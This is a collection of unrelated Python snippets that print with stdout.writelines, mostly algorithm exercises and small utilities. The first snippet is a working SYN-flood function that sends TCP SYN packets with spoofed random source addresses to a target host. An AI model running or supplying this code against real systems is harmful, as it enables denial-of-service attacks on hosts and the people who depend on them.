def SynFlood(destination_ip, destination_port, packet_num): sent_count = 0 # while True: # Uncomment if you want to call infinitive for x in range(0, packet_num): random_ip = ".".join(map(str, (randint(0, 255) for _ in range(4)))) random_port = randomInt() ip_layer = IP(dst=destination_ip, src=random_ip) tcp_layer = TCP( sport=random_port, dport=destination_port, flags="S", seq=randomInt(), window=randomInt(), ) # Combine packets = ip_layer / tcp_layer send(packets, verbose=0) sent_count += 1 stdout.writelines("Sending from " + random_ip + ":" + str(random_port) + " -> " + destination_ip + ":" + str(destination_port) + "\n") stdout.writelines("Packets sent: %i\n" % sent_count)
def main(): firstline = stdin.readline() rows = stdin.readlines() stdout.write(firstline) shuffle(rows) stdout.writelines(rows)
async def pretty_commit(unified: int, sha: str) -> None: c1 = call( "git", "log", "--max-count=1", "--color", "--name-status", sha, capture_stdout=False, capture_stderr=False, ) c2 = call( "git", "show", "--submodule", f"--unified={unified}", "--pretty=format:", sha, capture_stderr=False, ) _, proc = await gather(c1, c2) stdout.writelines((linesep, hr(), linesep)) stdout.flush() await pretty_diff(proc.out, path=None)
def print_path(graph, path, dimensions): output = '\n'.join([ ' '.join([ graph[row][col] if (row, col) not in path else '^' for col in range(dimensions[0]) ]) for row in range(dimensions[1]) ]) stdout.writelines(output)
def printer(line): """Print lines. Args: line: str, int """ to_print = '{0}\n'.format(str(line)) stdout.writelines(to_print)
def warning(kondisi, pesan): CRED = '\033[91m' CEND = '\033[0m' GREN = "\033[92m" if(kondisi): pesan =GREN + pesan + CEND else: pesan = CRED + pesan + CEND stdout.writelines(pesan+"\r\n")
def permutations(arr, position, end): if position == end: stdout.writelines(str(arr)) else: for index in range(position, end): # 做选择 arr[index], arr[position] = arr[position], arr[index] permutations(arr, position + 1, end) # 撤回选择 arr[index], arr[position] = arr[position], arr[index] # 还原到交换前的状态,为了进行下一次交换
def generate_prime(n): # the funciton genrates prime numbrs less than n # using is_it_prime() function defined above for i in range(1, n + 1): val = is_it_prime(i) val_1 = is_prime(i) if (val == True) and (val_1 == True): stdout.writelines(str(i) + ' ') stdout.writelines(str(i) + ' ') print()
def main(self, method_code: int): if method_code == 0: stdout.writelines("%d\n" % self.usual(self.N)) elif method_code == 1: stdout.writelines("%d\n" % self.generator(self.N)) elif method_code == 2: stdout.writelines("%d\n" % self.dynamic(self.N)) elif method_code == 3: stdout.writelines("%d\n" % self.exponent(self.N)[0]) else: stdout.writelines("Wrong code\n")
def handle(self, *args, **options): for ct in ContentType.objects.all(): try: m = ct.model_class() message = (m.__name__, m._default_manager.count() ) stdout.writelines("%s\t%d\n" % message) stderr.writelines("error:%s\t%d\n" % message) except: pass
def SieveAlgo(n): ''' A simple way to find out all primes less than n: sieve of Eratosthenes ''' sieve = [1] * (n + 1) p = 2 while p * p <= n: if sieve[p]: for i in range(p * 2, n + 1, p): sieve[i] = 0 p += 1 for i in range(2, n + 1): if sieve[i]: stdout.writelines('%d\n' % i)
def main(*test_args): args = parse_args() stats = StatsGithub(args.repo['owner'], args.repo['name'], args.branch, since=args.since, until=args.until, token=args.token) parameters = [ f"{'Repository:':<32}\n", f"{'- host':<32} {args.repo['host']}\n", f"{'- owner':<32} {args.repo['owner']}\n", f"{'- name':<32} {args.repo['name']}\n", f"{'- branch':<32} {args.branch}\n" ] if args.since or args.until: parameters.append(f"{'Period:':<32}\n") if args.since: parameters.append( f"{'- since:':<32} {args.since.strftime('%Y-%m-%d')}\n") if args.until: parameters.append( f"{'- until:':<32} {args.until.strftime('%Y-%m-%d')}\n") stdout.writelines(parameters) try: opened, closed, oldest = stats.issues() stdout.writelines([ f"{'Issues:':<32}\n", f"{'- opened':<32} {opened}\n", f"{'- closed':<32} {closed}\n", f"{'- oldest':<32} {oldest}\n" ]) opened, closed, oldest = stats.pull_requests() stdout.writelines([ f"{'Pull requests:':<32}\n", f"{'- opened':<32} {opened}\n", f"{'- closed':<32} {closed}\n", f"{'- oldest':<32} {oldest}\n" ]) contributions = stats.contributions() lines = [f"{'Contributors:':<32}\n"] if contributions: for username, commits in contributions: lines.append(f"{'- ' + username:<32} {commits:<8}\n") stdout.writelines(lines) stdout.close() except RateLimitExceededException: err = "Количество неавторизованных запросов к GitHub API исчерпано. " if not args.token: err += "Для увеличения лимита авторизуйтесь с помощью токена." stderr.write(err)
def test_transform(): result_file = 'tmp_result.txt' benchmark_file = 'ut_result.txt' cube = Cube() with open(result_file, 'w') as result_fp: cube.show(result_fp) for command in command_list: for i in range(0, 4): result_fp.write('=========== %s ============\n' % command) cube.transform(command_list[command]) cube.show(result_fp) benchmark = open(result_file, 'U').readlines() result = open(benchmark_file, 'U').readlines() diff = unified_diff(benchmark, result, benchmark_file, result_file) print 'Diff between benchmark and result.\n' stdout.writelines(diff) print '\nTest transform done.'
def show(self, disp=True): output = [] fmtstr = '%-4s %5d %s' attrs = [self.name, self.atid, self.loc] if self.r: fmtstr += ' ' + '%8.3f' * 3 attrs += [self.r[0], self.r[1], self.r[2]] else: fmtstr += ' ' + ' *.***' * 3 if self.charge: fmtstr += ' %8.3f' attrs += [self.charge] else: fmtstr += ' *.***' output.append((fmtstr + '\n') % tuple(attrs)) if disp: stdout.writelines(output) else: return output
def print_ligatures( fontPath ): subtables = [] font = fontforge.open( fontPath ) style = '' if font.italicangle != 0.0: style = "font-style: italic; " weight = '' if font.weight == 'Bold': weight = "font-weight: bold; " print _style_div_html % ( font.familyname, style, weight ) print _lig_header_html % ( font.fontname ) subtable_names = get_ligature_lookups( font ) for subtable_name in subtable_names: subtables.append( makeLigatureSubtable( font, subtable_name ) ) for subtable in subtables: out = htmlListOfLigSubtable( font, subtable, subtables ) stdout.writelines( out ) stdout.flush() print '</div>'
def show(self, fmt='S', disp=True): output = [] try: uid = self.uid except AttributeError: uid = '' output.append('%s%03d %-4s %-4s%s\n' % (cl.y, self.resi, self.name, uid, cl.n)) if fmt.upper() == 'S': atstrs = [(at.name + (4 - len(at.name)) * ' ' if at.r else cl.lr + at.name + (4 - len(at.name)) * ' ' + cl.n) for at in self.atoms] output += ' '.join(atstrs) + '\n' else: for at in self.atoms: output += at.show(disp=False) if disp: stdout.writelines(output) else: return output
def kangaroo(): x1, v1, x2, v2 = map(int, stdin.readline().rstrip('\n').split(' ')) slow_k, fast_k = ([x1, v1], [x2, v2]) if v1 < v2 else ([x2, v2], [x1, v1]) if fast_k[1] == slow_k[1]: if fast_k[0] != slow_k[0]: stdout.writelines('NO') else: stdout.writelines('YES') return while (fast_k[0] <= slow_k[0]): if fast_k[0] == slow_k[0]: stdout.writelines('YES') return fast_k[0] += fast_k[1] slow_k[0] += slow_k[1] stdout.writelines('NO')
def main(args=None): # Get Input Options (opts, outp) = get_options() # Initialize the client stdout.writelines("Initializing Client ({0:s})...".format(opts.Server)) if len(opts.UserAuth) == 0: client = Client(opts.Server) else: client = Client(opts.Server, user=opts.UserAuth[0], password=opts.UserAuth[1]) stdout.writelines("Done\n\n") # Search the Client for stations stdout.writelines("Querying client...") try: inv = client.get_stations(network=opts.nets, station=opts.stns, channel=opts.chns, location=opts.locs, starttime=opts.stdate, endtime=opts.enddate, startbefore=opts.stbefore, startafter=opts.stafter, endbefore=opts.endbefore, endafter=opts.endafter, latitude=opts.lat, longitude=opts.lon, minradius=opts.minr, maxradius=opts.maxr, minlatitude=opts.minlat, maxlatitude=opts.maxlat, minlongitude=opts.minlon, maxlongitude=opts.maxlon, includeavailability=None, includerestricted=True, level='channel') stdout.writelines("Done\n\n") except: print('Exception: Cannot complete query or no data in query...') exit() # Summarize Search nstn = 0 for net in inv.networks: for stn in net.stations: nstn = nstn + 1 print("Search Complete: ") print(" {0:d} stations in {1:d} networks".format(nstn, len(inv.networks))) print(" ") # If Debug mode, pickle inventory and exit if opts.debug: stdout.writelines( "Pickling Inventory into {0:s}_query_debug.pkl...".format(outp)) pickle.dump(inv, open('{0:s}_query_debug.pkl'.format(outp), 'wb')) stdout.writelines("Done\n\n") stdout.writelines( "Writing csv2kml format file to {0:s}_query_debug.kcsv\n".format( outp)) fcsv = open("{0:s}_query_debug.kcsv".format(outp), 'w') for net in inv.networks: for stn in net.stations: lat = stn.latitude lon = stn.longitude stdt = stn.start_date eddt = stn.end_date fcsv.writelines("{0:11.6f},{1:10.6f},{2:2s},{3:5s},{4:s},{5:s}\n".format(\ lon, lat, net.code, stn.code, stdt.strftime("%Y-%m-%d"), eddt.strftime("%Y-%m-%d"))) fcsv.close() aa = system( "csv2kml --field-names='lon,lat,net,station,start,end' {0:s}_query_debug.kcsv" .format(outp)) if aa == 0: print( "Generated a KML file {0:s}_query_debug.kcsv.kml".format(outp)) else: print("Generate a kml file using: ") print (" csv2kml --no-random-colours --field-names='lon,lat,net,station,start,end' " \ "{0:s}_query_debug.kcsv".format(outp)) exit() #-- Split locations for later parsing opts.locs = opts.locs.split(',') #-- Sort selected location keys for i, l in enumerate(opts.locs): if len(l) == 0: opts.locs[i] == "--" # Initialize station dictionary stations = {} # Loop through results for net in inv.networks: network = net.code.upper() print("Network: {0:s}".format(network)) for stn in net.stations: station = stn.code.upper() print(" Station: {0:s}".format(station)) # get standard values lat = stn.latitude lon = stn.longitude elev = stn.elevation / 1000. stdt = stn.start_date if stn.end_date is None: eddt = UTCDateTime("2599-12-31") else: eddt = stn.end_date stat = stn.restricted_status print(" Lon, Lat, Elev: {0:9.4f}, {1:8.4f}, {2:7.3f}".format( lon, lat, elev)) print(" Start Date: {0:s}".format( stdt.strftime("%Y-%m-%d %H:%M:%S"))) print(" End Date: {0:s}".format( eddt.strftime("%Y-%m-%d %H:%M:%S"))) print(" Status: {0:s}".format(stat)) # Parse Channels if opts.lkey: # Select Multiple Channels based on those in the rank list # Do not keep overlapping time windows # Select Channels based on those available compared to channel rank chn = [] for pchn in opts.chnrank: stnchn = stn.select(channel=pchn + "Z") if len(stnchn.channels) > 0: chn.append(pchn) #-- If no channels with Z found, skip if chn is None: if len(stn.select(channel='*Z')) == 0: print(" Error: No Z component. Skipping") continue #-- loop through channels and select time windows for pchn in chn: locs = [] stdts = [] eddts = [] stnchn = stn.select(channel=pchn + "Z") #--Collect Start/end Dates and locations for chnl in stnchn: chnlloc = chnl.location_code if len(chnlloc) == 0: chnlloc = "--" for selloc in opts.locs: # print (selloc, chnlloc) if selloc == '*' or chnlloc in selloc: locs.append(chnlloc) stdts.append(chnl.start_date) if chnl.end_date is None: eddts.append(UTCDateTime("2599-12-31")) else: eddts.append(chnl.end_date) #-- Unique set of locids, get minmax time for channel across all locids locs = list(set(locs)) stdts.sort() eddts.sort() stnchnstdt = stdts[0] stnchneddt = eddts[-1] print(" Selected Channel: {0:s}".format(pchn)) print(" Locations: {0:s}".format(",".join(locs))) print(" Start Date: {0:s}".format( stnchnstdt.strftime("%Y-%m-%d %H:%M:%S"))) print(" End Date: {0:s}".format( stnchneddt.strftime("%Y-%m-%d %H:%M:%S"))) #-- Add single key to station database key = "{0:s}.{1:s}.{2:2s}".format(network, station, pchn) if key not in stations: stations[key] = StDbElement(network=network, station=station, channel=pchn, \ location=locs, latitude=lat, longitude=lon, elevation=elev, polarity=1., \ azcorr=0., startdate=stnchnstdt, enddate=stnchneddt, restricted_status=stat) print(" Added as: " + key) else: print(" Warning: " + key + " already exists...Skip") else: # Select a single channel type if only short keys chn = None locs = [] stdts = [] eddts = [] for pchn in opts.chnrank: stnchn = stn.select(channel=pchn + "Z") if len(stnchn.channels) > 0: chn = pchn #--Collect Start/end Dates and locations for chnl in stnchn: chnlloc = chnl.location_code if len(chnlloc) == 0: chnlloc = "--" for selloc in opts.locs: # print (selloc, chnlloc) if selloc == '*' or chnlloc in selloc: locs.append(chnlloc) stdts.append(chnl.start_date) if chnl.end_date is None: eddts.append(UTCDateTime("2599-12-31")) else: eddts.append(chnl.end_date) if len(locs) > 0: break if chn is None: if len(stn.select(channel='*Z')) == 0: print(" Error: No Z component. Skipping") continue if len(locs) == 0: print(" Error: Location {} not available. Skipping". format(",".join(opts.locs))) continue #-- Unique set of locids, get minmax time for channel across all locids locs = list(set(locs)) stdts.sort() eddts.sort() stnchnstdt = stdts[0] stnchneddt = eddts[-1] # # return location codes for selected channel # locs = list(set([a.location_code for a in stn.select(channel=chn+'Z').channels])) # print (" Selected Channel: {0:s}".format(chn)) # print (" Locations: {0:s}".format(",".join(locs))) print(" Selected Channel: {0:s}".format(pchn)) print(" Locations: {0:s}".format(",".join(locs))) print(" Start Date: {0:s}".format( stnchnstdt.strftime("%Y-%m-%d %H:%M:%S"))) print(" End Date: {0:s}".format( stnchneddt.strftime("%Y-%m-%d %H:%M:%S"))) key = "{0:s}.{1:s}".format(network, station) #-- Add single key to station database if key not in stations: stations[key] = StDbElement(network=network, station=station, channel=chn, \ location=locs, latitude=lat, longitude=lon, elevation=elev, polarity=1., \ azcorr=0., startdate=stdt, enddate=eddt, restricted_status=stat) print(" Added as: " + key) else: print(" Warning: " + key + " already exists...Skip") print() # Save and Pickle print(" ") print(" Pickling to {0:s}.pkl".format(outp)) write_db(fname=outp + '.pkl', stdb=stations, binp=opts.use_binary) # Save csv print(" Saving csv to: {0:s}.csv".format(outp)) fcsv = open(outp + ".csv", 'w') stkeys = stations.keys() sorted(stkeys) # python3! for stkey in stkeys: # net stn locs chn std stt edd edt lat lon elev pol azc res fcsv.writelines( "{0:s},{1:s},{2:s},{3:s}*,{4:s},{5:s}.{6:1.0f},{7:s},{8:s}.{9:1.0f},{10:8.4f},{11:9.4f},{12:6.2f},{13:3.1f},{14:8.4f},{15:s}\n" .format(stations[stkey].network, stations[stkey].station, ":".join( stations[stkey].location), stations[stkey].channel[0:2], stations[stkey].startdate.strftime("%Y-%m-%d"), stations[stkey].startdate.strftime("%H:%M:%S"), stations[stkey].startdate.microsecond / 100000., stations[stkey].enddate.strftime("%Y-%m-%d"), stations[stkey].enddate.strftime("%H:%M:%S"), stations[stkey].enddate.microsecond / 100000., stations[stkey].latitude, stations[stkey].longitude, stations[stkey].elevation, stations[stkey].polarity, stations[stkey].azcorr, stations[stkey].status))
total += 1 yield entry_template.format(**track_entry) yield ( 'NumberOfEntries={:d}\n' 'Version=2\n').format(total) def generate_track_entries(filenames, start_number=1): """Generate track entries.""" numbers = count(start_number) for number, filename in zip(numbers, filenames): yield create_track_entry(number, filename) def create_track_entry(number, path): """Create a track entry.""" title = path.stem return { 'number': number, 'file': path, 'title': title, } if __name__ == '__main__': args = parse_args() paths = find_files(args.path) stdout.writelines(generate_playlist(paths))
def win_pack(self, item): self.win_clear() stdout.writelines(item + "\n")
import argparse import os import subprocess if __name__=='__main__': parser = argparse.ArgumentParser(description='Compare the output of a program to a reference program') parser.add_argument("-v","--verbose", action='store_true', help="Be verbose") parser.add_argument("-p","--pretend", action='store_true', help="Run tests but don't write any data") parser.add_argument("--ref", type=argparse.FileType('r'), help="Path to reference file") parser.add_argument("basedir", nargs=1, help="Base path to search") args = parser.parse_args() problem_set = tl.load_set(args.ref,verbose=args.verbose, basedir=args.basedir) tests = problem_set['problems'] basedir = args.basedir[0].rstrip("/") + "/" if not os.path.isdir(basedir): stderr("{}: not a valid directory\n".format(basedir)) exit(1) if args.verbose: stderr.writelines("{}: {}\n".format(name, test['path']) for (name,test) in tests.items()) for (name,test) in tests: find_args = ['find', basedir, '-name', test['path'] ] if args.verbose: stderr.write("{}\n".format(find_args)) found = subprocess.check_output(find_args).split("\n") stdout.writelines(item+"\n" for item in found if len(item) > 1)
#!/usr/bin/env python """ Use this script to pass a query into a SQLite database. """ from sys import argv, stdout, exit try: databaseFilename = argv[1] SQLQueryCommandString = " ".join(argv[2:]) if not SQLQueryCommandString.strip(): raise ValueError("The SQL query should not be empty.") except: print('Usage: databaseQuery.py database_filename "SQL_query"') exit() import sqlite3 as sq3 queryResultCursor = sq3.connect(databaseFilename).execute( SQLQueryCommandString) stdout.writelines("\t".join(str(element) for element in item) + "\n" for item in queryResultCursor)
# 15 from sys import stdin, stdout N = 10 # Reads N chars from stdin(it counts '\n' as char) stdin.read(N) # Reads until '\n' or EOF line = stdin.readline() # Reads all lines in stdin until EOF lines = stdin.readlines() # Writes a string to stdout, it doesn't add '\n' stdout.write(line) # Writes a list of strings to stdout stdout.writelines(lines) # Reads numbers separated by space in a line numbers = list(map(int, stdin.readline().split()))
def logs(text, s=display_logs): waktu = datetime.now().strftime("%H:%M:%S") stdout.writelines(f"[{waktu}] {text}") if (s) else None
# link do zadania # https://pl.spoj.com/problems/ETI06F1/ from math import sqrt from sys import stdin, stdout test = stdin.readline().split(" ") R = sqrt(float(test[0])**2 - ((1 / 2 * float(test[1]))**2)) stdout.writelines(str(3.141592654 * R**2))
#!/usr/bin/env python '''Print a word a line.''' from sys import stdout from re import finditer import fileinput try: stdout.writelines(match.group(0) + '\n' for line in fileinput.input() for match in finditer(r'\w+', line)) except IOError as e: if e.errno != 32: # Ignore broken pipe raise e
parser.add_option("-s", "--summary", action="store_true", help="Just print summary", default=False) (options, args) = parser.parse_args() ttycolors = bcolors() if ( not isatty(1) and options.colorize == "auto" ) or options.colorize == "false": ttycolors.disable() json_src = stdin creport = CucumberReport(json.load(json_src)) passed_scenarios = creport.passed_scenarios() total_scenarios = creport.scenarios() print("{color}{passed}/{total} ({percent:2.2f}%){colorend}".format(passed=passed_scenarios, total=total_scenarios, percent=passed_scenarios*100/total_scenarios, color=ttycolors.OKGREEN, colorend=ttycolors.ENDC)) if not options.summary and passed_scenarios < total_scenarios: for feature in creport.features(): print("Feature: {0}\n".format(feature.name)) num_scenarios = len([s for s in feature.scenarios()]) passed_scenarios = len([ scenario for scenario in feature.scenarios() if scenario.passed() ]) for scenario in feature.scenarios(): print("\t{0} ({1})".format(scenario.name, pass_string(scenario.passed()))) if not scenario.passed(): stdout.writelines([ "\t\t" + line.strip() + "\n" for s in scenario.steps() for line in print_scenario(s, ttycolors) ]) print("\t{0}/{1} scenarios ({2:2.2f}%)\n".format(passed_scenarios, num_scenarios, passed_scenarios*100/num_scenarios))
#!/usr/bin/env python2 from sys import stdout,stderr from math import pi import re print "list comprehension" # list comprehension has a syntax similar to mathmatical set comprehension N=5 squares=[ x**2 for x in range(1,N+1) ] print "squares of natural numbers between 1 and {0}: {1}".format(N, squares) mylist = [ 'apple', 'orange', 'cat', 'hat', 'ece2524', '42', 'pie', 'pi', pi ] print "mylist: {0}".format(mylist) threes = [ item for item in mylist if re.match(r'^...$', str(item)) ] print "threes: {0}".format(threes) print "a numbered list:" numbered = [ "{0}. {1}\n".format(index, item) for index,item in enumerate(mylist) ] stdout.writelines(numbered) colors = [ "red", "blue", "green" ] things = [ "cat", "hat", "mat" ] colored_things = [ (c,t) for c in colors for t in things ] print "colored things: {0}".format(colored_things) colored_things3 = [ (c,t) for c in colors for t in things if len(c)+len(t) == 2*len(c) ] print "colored things with filter: {0}".format(colored_things3)
#!/usr/bin/env python """ Use this script to pass a query into a SQLite database. """ from sys import argv, stdout, exit try: databaseFilename = argv[1] SQLQueryCommandString = " ".join(argv[2:]) if not SQLQueryCommandString.strip(): raise ValueError("The SQL query should not be empty.") except: print('Usage: databaseQuery.py database_filename "SQL_query"') exit() import sqlite3 as sq3 queryResultCursor = sq3.connect(databaseFilename).execute(SQLQueryCommandString) stdout.writelines("\t".join(str(element) for element in item) + "\n" for item in queryResultCursor)
#!/usr/bin/env python from sys import stdout, argv from glob import glob from os.path import join from xml.dom.minidom import parse from itertools import izip assert len(argv) == 2 def read_data(name): res = [] data_dir = argv[1] for in_file in glob(join(data_dir, "*.xml")): for i in parse(in_file).getElementsByTagName("Track"): for val in str(i.getElementsByTagName(name)[0].firstChild.wholeText).strip().split(): res.append(float(val)) return res stdout.writelines("%s %s\n" % i for i in izip(read_data("phi0"), read_data("cotTheta")))
#!/usr/bin/python from sys import stdin, stdout def gcd(a, b): while b != 0: (a, b) = (b, a % b) return a C = stdin.readline() results = [] case_num = 1 for line in stdin.readlines(): events = [int(n) for n in line.split(' ')] size = events.pop(0) events.sort() diffs = [events[i] - events[i - 1] for i in range(1, size)] gap = diffs[0] for n in diffs[1:]: gap = gcd(gap, n) next = -events[0] % gap results.append("Case #%d: %s\n" % (case_num, next)) case_num += 1 stdout.writelines(results)
# link do zadania # https://pl.spoj.com/problems/PP0602A/ from sys import stdin, stdout numberOfTests = int(stdin.readline()) for i in range(numberOfTests): test = stdin.readline().replace('\n', '').split(' ')[1:] stdout.writelines(' '.join(test[1::2]) + ' ' + ' '.join(test[::2]) + '\n')
for sim_user, _ in U_: if (sim_user, item) not in user_item_rating: continue reco_user_simillist.append(sim_user) return reco_user_simillist ### solve for reco_user in reco_users: reco_ratinglist = [] # reco_items = list(total_itemlist.difference( user_itemlist[reco_user])) # reco_user가 추천 받을 수 있는 아이템들 U_ = get_setU(reco_user) for reco_item in reco_items: D_ = get_delU(U_, reco_user, reco_item) r_ = avg(reco_user) # 밖으로 빼내는게 좋습니다.. sim = sum([abs(simil(reco_user, sim_user)) for sim_user in D_]) k = (1 / sim) if sim else 0 # k 값이 정의 되지 않는 경우 #* sim 값이 0일 때 last = sum([ simil(reco_user, sim_user) * (user_item_rating[(sim_user, reco_item)] - avg(sim_user)) for sim_user in D_ ]) rui = r_ + k * last # reco_user의 reco_item 에 대한 예상 rating reco_ratinglist.append(rui) _, reco_items = zip(*sorted(zip(reco_ratinglist, reco_items), reverse=True)) # 예상 rating이 높은 순으로 정렬 stdout.writelines(" ".join(map(str, reco_items[:num_item_rec_topk])) + '\n') # num_item_rec_topk개 만큼의 item 출력
from sys import stdin, stdout sols = [] while True: n, m = list(map(int, stdin.readline().strip().split())) if n == m == 0: break jack_cds = set() for i in range(n): jack_cds.add(int(stdin.readline().strip())) sol = 0 for i in range(m): if int(stdin.readline().strip()) in jack_cds: sol += 1 sols.append(sol) stdout.writelines("%s\n" % l for l in sols)
Args: _list (list): unordered list idx1 (int): position of target number 1 idx2 (int): position of target number 2 ''' _list[idx1], _list[idx2] = _list[idx2], _list[idx1] def bubbleSort(_list: list) -> list: ''' Bubble sort algorithm Args: _list (list): unordered list like [4, 5, 1, 3, 7, 1, 10, 2, 3] Returns: Sorted list ''' L = len(_list) for i in range(L): for j in range(i+1, L): if _list[i] > _list[j]: # if >, sorted list will be in ASC order; # if <, sorted list will be in DESC order swap(_list, i, j) return _list if __name__ == '__main__': stdout.writelines('Input should be several numbers separated by space like: 4 5 1 3 7 1 10 2 3\n') unorderList = list(map(int, stdin.readline().strip().split(' '))) sortedRes = bubbleSort(unorderList) stdout.writelines("Result of BubbleSort is: %s\n" % sortedRes)
n = len(s) max_len = n + 1 base = [1] * 26 for i, b in enumerate(base): if i is 25: break base[i + 1] = b * max_len t = [0] * (n + 1) t[0] = base[ord(s[0]) - 97] s = s[1:] for i, (c, x) in enumerate(zip(s, t)): t[i + 1] = x + base[ord(c) - 97] k = int(stdin.readline().strip()) res = [] for i in range(k): a, b, c, d = [int(x) for x in stdin.readline().strip().split()] res.append('YES\n' if t[b - 1] - t[a - 2] == t[d - 1] - t[c - 2] else 'NO\n') stdout.writelines(res) ''' abcbacaac 2 1 3 4 6 1 3 5 7 '''
total_cases = int( stdin.readline() ) input = stdin.readlines() output = [] line_number, case_number = 0, 1 while (case_number <= total_cases): n, m = input[line_number].split(' ') n, m = int(n), int(m) line_number += 1 old_dirs = set() for i in range( int(n) ): for path in split_path(input[line_number+i].strip()): old_dirs.add(path) line_number += n new_dirs = set() for i in range( int(m) ): for path in split_path(input[line_number+i].strip()): new_dirs.add(path) line_number += m result = 0 for dir in new_dirs: if dir not in old_dirs: result += 1 output.append("Case #%d: %d\n" % (case_number, result)) case_number += 1 stdout.writelines(output)
from sys import stdin, stdout for _ in range(int(stdin.readline())): n, q = map(int, stdin.readline().split()) points = list(map(int, stdin.readline().split())) for __ in range(q): x1, x2, y = map(int, stdin.readline().split()) prev = -1 count = 0 for i in range(x1, x2): if (prev == -1 and points[i] >= y and points[i - 1] <= y) or (prev == 0 and points[i] >= y): count += 1 prev = 1 elif (prev == -1 and points[i] <= y and points[i - 1] >= y) or (prev == 1 and points[i] <= y): count += 1 prev = 0 stdout.writelines(str(count) + "\n")